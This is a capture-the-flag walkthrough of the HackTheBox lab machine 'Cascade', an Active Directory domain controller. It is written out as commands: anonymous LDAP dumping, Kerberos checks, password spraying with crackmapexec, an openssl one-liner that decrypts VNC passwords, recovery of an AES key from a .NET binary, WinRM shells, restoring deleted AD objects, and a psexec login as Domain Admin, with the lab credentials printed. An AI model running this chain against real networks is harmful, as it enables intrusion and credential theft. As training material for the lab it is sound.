In this Walkthrough, we will be hacking the machine Cascade from HackTheBox.
To begin, we will quickly find that we are able to dump information from LDAP using an anonymous session. During our LDAP enumeration, we will create a list of all the users on the system, determine which users are “high targets” based on their group memberships, and then dump information about each of the high targets.
While digging into one of the high targets, an interesting string is found “cascadeLegacyPwd”, which contains a base64 encoded password.
After finding our first user’s password, we will start the second enumeration phase – authenticated enumeration. During this phase, we will discover that we have access to SMB shares, which we did NOT have when attempting to access the service with an anonymous session.
From the SMB enumeration, we will uncover A LOT of information that we will find useful in the later stages of the box. Additionally, we will uncover another encoded password in a VNC file that we will need to decode and unencrypt.
Using the second user’s credentials, we will find that we have access to one particular share folder that we were not able to access as the first user. This share folder contains an interesting in-house executable used for auditing.
Taking this executable over to a Windows lab machine and reviewing the source code, the password encryption method is uncovered; and, with some reverse engineering, a third password is found!
At this point, all of the enumeration from before will come full-circle, and we will see that this user is in a special group that allows them to restore delete AD objects.
Gathering information about a specific deleted object, another “cascadeLegacyPwd” is found. After decoding the password, we will see that it belongs to the Domain Administrator!
Initial Scanning
— Nmap TCP Full —
nmap -A -sC -sV -T4 10.10.10.182 -p- -oN full_tcp.nmap
Review of Open Ports
Lots of interesting TCP ports open; and it was observed that this is an AD machine, and even more specifically a Domain Controller (DC).
- Port 53 is open and is hosting a DNS service over TCP – version: Microsoft DNS 6.1.7601 (1DB15D39)
- Port 88 is open and is hosting the kerberos service.
- Ports 135 / 139 / 445 are open and are hosting the RPC / NetBIOS / SMB share services respectively.
- Ports 389 / 3268 and 636 / 3269 are open and hosting the LDAP/S services respectively
- Port 5985 is hosting the WinRM service, which will be good if credentials are found.
- Ports 49xxx are hosting the high port RPC services.
From the nmap scan we can see this is a Domain Controller with a hostname of CASC-DC1 and that this is the DC for the domain cascade.local.
We can also see that this DC is running Windows Server 2008 R2 SP1, which is quite outdated and likely vulnerable!
Enumeration and Initial Exploit
Since this is a Domain controller, enumeration would generally be split into two sections: domain specific service enumeration and regular service enumeration.
However, there are only domain services running, so this enumeration will be entirely domain specific.
Additionally, since this is an old machine, I will check for quick wins first.
Checking for Quick Wins (Kernel Exploits)
nmap 10.10.10.182 --script=*vuln* -p 53,88,135,139,389,445,636,3268,3269,5985
Bummer! Nothing good was found, so I decided move on and circle back to “quick wins” either when I find credentials, or if nothing else is found.
Enumerating Services Specific to a Domain Controller
Enumeration will begin by attempting to get a Zone Transfer from the DNS server.
dig @10.10.10.182 AXFR cascade.local
The zone transfer attempt was unsuccessful, so next I will move on to the kerberos service.
Targeting the Kerberos service, I tested for a quick No-Preauth kerberos win without supplying a username, but got no hits.
GetNPUsers.py cascade.local/ -dc-ip 10.10.10.182
Dumping Domain Info with ldapsearch – LDAP Enumeration
Unable to find much from Kerberos without any credentials, I will move on to the LDAP service and see if I can dump information from an anonymous session.
ldapsearch -x -H ldap://10.10.10.182 -b "dc=cascade,dc=local"
The ldapsearch worked and A LOT of information was dumped!
Now that I know I can dump info from LDAP, the first thing I want to do is gather a list of users in the domain.
Dumping a List of Users
To get a quick dirty list of users, I used some Linux-fu, like so:
ldapsearch -x -H ldap://10.10.10.182 -b "dc=cascade,dc=local" | grep 'userPrincipalName' | tr '@' ' ' | awk '{print $2}'
The search works and provides a nice clean list of users in the domain. Next, I performed the same command again and redirected it to a users.txt file.
ldapsearch -x -H ldap://10.10.10.182 -b "dc=cascade,dc=local" | grep 'userPrincipalName' | tr '@' ' ' | awk '{print $2}' > users.txtChecking User Validity with Kerbrute.py
With a list of domain users, I decided to check if all the user accounts found are valid as well as if any of them have Kerberos pre-authentication disabled Using kerbrute.py.
First, I needed to add two users to the list: Administrator and krbtgt.
echo "Administrator" >> users.txt
echo "krbtgt" >> users.txtAnd then I ran Kerbrute like so:
kerbrute.py -users users.txt -dc-ip 10.10.10.182 -domain cascade.local
Unfortunately, none of the accounts have “NO PREAUTH” next to their name in the output. This means there will be no easy AS-REP roast wins.
A few of the accounts are disabled, which is worth keeping note of, and the rest are valid.
Dumping User Information
Continuing with LDAP enumeration, the next thing I want to get is a list of every user and all the details about their accounts.
To do this, I grepped to find some info that I can use in a more crafted ldapsearch query.
ldapsearch -x -H ldap://10.10.10.182 -b "dc=cascade,dc=local" | grep 'dn' | grep -i 'users'
Perfect! This tells me how I will need to craft my next ldapsearch query to dump information about each user. I just need to add “ou=Users,ou=UK” to my original query and it will dump all of the info about each domain account.
ldapsearch -x -H ldap://10.10.10.182 -b "ou=Users,ou=UK,dc=cascade,dc=local"Scrolling down to the first user “Steve Smith”, I can see the query provided a lot of information about the account including group memberships, description, last logon / logoff, UAC, etc.
“description” might have passwords in it; however, it was NOT present below.
The most interesting thing here is that user s.smith is in the Audit Share, Remote Management Users, and IT groups.
Finding “High Target” Users with Interesting Group Memberships
Next, I decided I wanted to grep out a list of users and their group memberships so I know which users are “high targets”
ldapsearch -x -H ldap://10.10.10.182 -b "ou=Users,ou=UK,dc=cascade,dc=local" | grep -i '#\|memberof'
Amazing! This provides 4 interesting users that are definitely worth looking into a bit more closely.
Finding User Ryan Thompson’s Password – Privilege Escalation Part 1
Since I already saw Steve Smiths account info (snip above), next I moved on to Ryan Thompson to see if I could find something interesting about his account.
ldapsearch -x -H ldap://10.10.10.182 -b "ou=Users,ou=UK,dc=cascade,dc=local" | grep -A 50 -i "# Ryan Thompson"
Something really interesting is found in the LDAP dump of Ryan’s account. It looks like the string is base64 encoded and it says “Legacy Password”, which sounds promising.
Sure enough, copying the string and then decoding it, I found a password!
echo "clk0bjVldmE=" | base64 --decode
The base64 string decoded to: rY4n5eva, so I added this to a passwords.txt file
echo "rY4n5eva" > passwords.txtNext, because password reuse is a common issue, I decided to test this password against each username in the users.txt file using crackmapexec.
crackmapexec smb 10.10.10.182 -d cascade.local -u ./users.txt -p rY4n5eva --continue-on-success
Amazing! we can see the password is valid for user r.thompson. But, we also see it is not valid for any other user (no password reuse).
From the LDAP search, we saw which groups r.thompson is apart of – and unfortunately, the Remote Management Users group is not one of them. This means I will NOT be able to get a foothold over WinRM on port 5985.
Users s.smith and ArkSvc are in the Remote Management Users Group, which means finding either of their passwords would result in an easy foothold on the target.
Moving on… Now that I have a valid set of credentials, I can perform deeper enumeration via “authenticated enumeration”.
Enumerating Services Specific to a Domain Controller Part 2 – Authenticated
The first thing I like to check when I find a valid set of credentials is kerberoasting. To do this, I tried using the Python script GetUserSPNs.py from the Impacket Collections of Scripts.
GetUserSPNs.py cascade.local/r.thompson:rY4n5eva -dc-ip 10.10.10.182 -request
Unfortunately, there are no services with a registered SPN.
Moving on, I decided to check the SMB shares since I haven’t even checked them yet – not even with an anonymous session.
Quickly checking if I have anonymous access, I can see that I do to smb, but not to rpc. Also, I do not get any shares listed.
smbclient -L 10.10.10.182 -N
rpcclient 10.10.10.182 -N
Next, testing with the credentials I found, a few interesting shares are listed.
smbclient -L 10.10.10.182 -U 'cascade.local\r.thompson'
Here we can see that Audit$ and Data are custom shares, which is a great place to start looking for interesting files.
smbclient \\\\10.10.10.182\\Audit$ -U 'cascade.local\r.thompson'
recurse on
prompt off
ls
I was denied the ability to list the files in the Audit$ share.
Earlier it was observed that s.smith is in the “Audit Share” group. It appears that this group permission might be the key to viewing these files.
Finding Steve Smith’s Password in the Data Share – Privilege Escalation Part 2
After I was unable to list the file in the Audit$ share, I checked the Data share, where I had better luck.
smbclient \\\\10.10.10.182\\Data -U 'cascade.local\r.thompson'
recurse on
prompt off
ls
Right away I can see some interesting stuff, so I decided to grab all the files to have a closer look.
mget *
From what was gathered, the file that piques my interest the most is “VNC Install.reg” since VNC is a remoting software. Also because it is in the s.smith folder.
cat IT/Temp/s.smith/VNC\ Install.reg
And what do you know…? Another encoded password! This time, it’s hex encoded, so I decoded it with the following command:
echo "6bcf2a4b6e5aca0f" | xxd -r -p && echo ''
It works, but the password looks to be encrypted. That is because this is a VNC password.
However, there is a trick that can be used to decode the VNC password using the default encryption key and an open-ssl one-liner.
echo -n "6bcf2a4b6e5aca0f" | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d -provider legacy -provider default | hexdump -Cv
Awesome! The one-liner was successful and decrypted the password to be: sT333ve2
Since another password has been discovered, I added it to my passwords.txt file to keep track of my findings.
echo 'sT333ve2' >> passwords.txtNext, I checked the password against every user again using crackmapexec.
crackmapexec smb 10.10.10.182 -d cascade.local -u ./users.txt -p sT333ve2 --continue-on-success
Great! This confirms that the password belongs to s.smith. Again, password reuse is not an issue this time.
Checking the Other Files Found in the Data Share
Even though a password was found in the first file I checked, I still like to do a complete enumeration before moving on. So, I decided to check out the rest of the files that were grabbed from the Data share.
The three remaining files to be checked are:
- IT/Email Archives/Meeting_Notes_June_2018.html
- IT/Logs/Ark AD Recycle Bin/ArkAdRecycleBin.log
- IT/Logs/DCs/dcdiag.log
Meeting_Notes_June_2018.html
Starting with the “Meeting_Notes_June_2018.html” file, we can see that it has some interesting information about the admin password.
Since the file is an HTML file, it can be read either on the terminal with cat or in the browser. I decided to check it in the browser to see it rendered and “pretty”.
firefox "IT/Email Archives/Meeting_Notes_June_2018.html"
Very interesting! We can see a hint to a TempAdmin account that has been deleted – but the password was the same as the actual Administrator account.
Basically, this tells me that findings the TempAdmin’s password will get me access to the host as the Administrator account.
ArkAdRecycleBin.log
Moving on… the next file to check is the “ArkAdRecycleBin.log”
cat "IT/Logs/Ark AD Recycle Bin/ArkAdRecycleBin.log"
This file is very interesting as well. It tells us that their is a program used to delete users and it runs as the ArkSvc account.
Two important things here. First, this program runs as the service account, which means it needs to authenticate as that user somehow (password in the script?). Secondly, we can see that the program deleted the TempAdmin account, which is known to have the same password as the actual admin account.
Additionally, it was observed that the ArkSvc account is part of the AD Recycle Bin group, which is likely needed for this program. Also, the account is in the Remove Management Users group and can use WinRM to remotely administer the DC.
dcdiag.log
Finally, we have the “dcdiag.log” file to check.
cat "IT/Logs/DCs/dcdiag.log"However, reviewing this file, it appears to be diagnostic testing with a “pass or fail” message – nothing of interest was extracted from the output.
With the share now being fully enumerated, I decided to move on and see what I can do as user s.smith.
Testing Access as s.smith
Now that I confirmed that the password is valid for the user s.smith, I can easily gain a foothold over WinRM.
Additionally, the user s.smith is also in the “Audit Share” group. Earlier it was observed that there was a shared named Audit$ that I was unable to view as user r.thompson. So, it is likely that this user will have access to that share.
Gaining Access to the Audit$ Share
I decided to start by checking the Audit$ share folder since that is only a single folder – whereas gaining a foothold, I would have to enumerate the entire filesystem.
smbclient \\\\10.10.10.182\\Audit$ -U 'cascade.local\s.smith'
recurse on
prompt off
ls
Amazing! It worked and I was able to view the share and all of the files inside. It looks like this is a custom auditing application, so I decided to download everything for a closer inspection.
mget *
Checking the Files from the Audit$ Share
The first thing I want to check is the Batch script (.bat file) to see if it contains any passwords.
The batch script is pretty simple – it runs the CascAudit.exe program and place the information gathered into a file named Audit.db.
Unfortunately, no passwords…
Next, I checked the Audit.db file to see what it contains using sqlite3.
sqlite3 "DB/Audit.db"
.tables
This shows that there are 3 tables: DeletedUserAudit, Ldap, Misc
Now that I know the table names, I dumped all the info from each one.
select * from DeletedUserAudit;
select * from Ldap;
select * from Misc;
Here we can see that the DeletedUserAudit table contains the user’s that have been deleted, which includes TempAdmin.
The Ldap table contains one user entry: ArkSvc and a base64 string, which looks like it could be the user’s password.
Finally, the Misc table is empty.
Attempting to decode the base64 string reveals that it is also encrypted, so it won’t be that easy to get the password.
echo "BQO5l5Kj9MdErXx6Q6AGOw==" | base64 --decode
Finally, I checked the CascAudit.exe file using the strings command to see if there is any info about the ArkSvc users password.
strings CascAudit.exeThe only really interesting string found was “CascCrypto“, which is the name of the DLL file that was also in the share. Naturally, I checked the strings in that file as well.
strings CascCrypto.dll
This is pretty interesting! Since we already know that the ArkSvc account is used in this program, it must authenticate somehow. Here we can see some code that hints to the encryption and decryption of the password.
Essentially, if this can be reverse engineered, the password for the ArkSvc account could be extracted.
Debugging CascAudit.exe and CascCrypto.dll with dnSpy
Since the CascCrypto.dll is the file that is responsible for the secure authentication, I want to try debugging that file along with CascAudit.exe. This will allow me to see how the password is encrypted and whether it can be reverse engineered.
To begin, I grabbed a copy of dnSpy from here and put it on a Windows 10 lab machine.
From there, I transferred the CascAudit.exe and CascCrypto.dll files over to my Windows lab machine.
Debugging CascCrypto.dll
After transferring the two files I want to debug onto my lab machine, I ran dnSpy and opened CascCrypto.dll first. The reason for this is because it appears to be responsible for the encryption / decryption of the ArkSvc users password.
Scrolling down quickly revealed how the encryption works.
- The program takes the plaintext and the key.
- AES is used to encrpyt the plaintext + key combo (block size 128)
- There is a static IV: 1tdyCbY1Ix49842
- CBC is the AES mode used to encrypt the string
- The entire encrypted password is base64 encoded
At this point, I have most of the information needed to reverse engineer this password, which includes the base64 string and the static IV value. However, the final piece to this puzzle that I need to find is the “key” value.
Debugging CascAudit.exe
Since the key was not present in the DLL, it will likely be found in the executable.
For this reason, I decided to open CascAudit.exe in dnSpy and then review the code to see if I could find the key.
And shortly into checking main(), the key was discovered on line 31: c4scadek3y654321
Perfect! This means I have all of the pieces necessary to reverse engineer this password.
Reverse Engineering the Encryption and Extracting ArkSvc’s Password
To reverse engineer this password, I decided to use a handy tool called CyberChef.
For this, I needed to stack From Base64 on top of AES Decrypt so that it looked like this:
Next, I simply just plugged the values I found during my enumeration and extracted the password.
ArkSvc : w3lc0meFr31nd
Amazing! The password was extracted and now I can login as ArkSvc using WinRM because it was observed earlier that this user’s in the Remote Management Users group.
Just like before, because a new password has been found, I decided to add it to my passwords.txt file.
echo 'w3lc0meFr31nd' >> passwords.txtNext, I checked the password against every user again using crackmapexec.
crackmapexec smb 10.10.10.182 -d cascade.local -u ./users.txt -p 'w3lc0meFr31nd' --continue-on-success
Great! The password for ArkSvc is valid!
Gaining a Foothold on the DC
To prove that I can get a foothold on the DC as either s.smith or ArkSvc, I used crackmap to test my access over WinRM.
crackmapexec winrm 10.10.10.182 -d cascade.local -u s.smith -p sT333ve2
crackmapexec winrm 10.10.10.182 -d cascade.local -u arksvc -p 'w3lc0meFr31nd'
Seeing the Pwn3d! message for both users means that we have command execution through WinRM!
After confirming command execution through WinRM, I decided to grab a shell on the DC as ArkSvc using evil-winrm.
evil-winrm -i 10.10.10.182 -u arksvc -p 'w3lc0meFr31nd'
Post Exploitation Enumeration and Privilege Escalation
Just like the initial enumeration, because this is a Domain controller, post-exploitation enumeration will be split into two sections: domain specific enumeration and regular enumeration.
95% of the time the privilege escalation technique used in a domain will be domain-based.
Domain Specific Post-Exploitation Enumeration
Before really diving into the domain specific enumeration, I like to quickly get information on the system (OS version) and the current users privileges / groups.
systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"
Denied! Alright, moving on… I already saw that this user was a part of a few interesting groups from the LDAP search. One in particular was the AD Recycle Bin group.
net user arksvc
Another interesting group is the “IT” group; however, it was observed earlier in the ArkAdRecycleBin.log file that this user was moving objects to the “AD Recycle Bin”, and one of those objects was the TempAdmin account.
Understanding the AD Recycle Bin Group
Apart from the assumption that this group membership allows the user ArkSvc to delete AD objects, I am not familiar with any other privileges this group has. So, I decided to Google it.
Googling AD Recycle Bin Group produced some VERY interesting results…
The first and third links mention that a member of this group can recover objects! That means that there is likely a way to recover the TempAdmin account – Or, at least some info about the account.
Out of the three links above, the middle one actually provided the best information.
Checking the second link, there is a section “Restoring Single Objects“, where it mentions that there is a way to restore an account that was accidentally deleted. It also provides a PowerShell command that can be used to get information about the deleted user:
Get-ADObject -filter 'isdeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects -property *This command will show information about all deleted objects; however, there is one object in particular that I want information about – TempAdmin.
Dumping Information About the TempAdmin Account – Finding the Admin Password
To get information specifically about the TempAdmin user, I adjusted the command, like so:
Get-ADObject -Filter 'samaccountname -eq "TempAdmin"' -IncludeDeletedObjects -properties *
BOOM! I was able to dump all of the information about the TempAdmin account, and just like earlier, a base64 encoded “legacy password” was also found!
Next, I decoded the base64 string, which provided me with the cleartext password!
echo 'YmFDVDNyMWFOMDBkbGVz' | base64 --decode
Earlier, during the enumeration phase, it was mentioned in the Meeting_Notes_June_2018.html file that the password for the TempAdmin user is the same password as the actual Administrator account.
To confirm this, I added the newly found password: baCT3r1aN00dles to my passwords.txt file.
echo 'baCT3r1aN00dles' >> passwords.txtAnd after that, I tested the password against my users.txt file using crackmapexec again.
crackmapexec smb 10.10.10.182 -d cascade.local -u ./users.txt -p 'baCT3r1aN00dles' --continue-on-success
Amazing! This confirms that this password belongs to the Domain Admin account. That means I can easily login as the DA using psexec.py and gather the flags.
psexec.py cascade.local/administrator:'baCT3r1aN00dles'@10.10.10.182
Flags
Final Thoughts
Enumeration really is the name of the game. Everything needed to root this box was found before a foothold was gained.
Make sure you enumerate everything and take good notes, that way you can put all the pieces together at the end. No need to spin the wheels, just be consistent with enumeration and reviewing all findings.
To learn more about Active Directory hacking, check out my posts on this page here.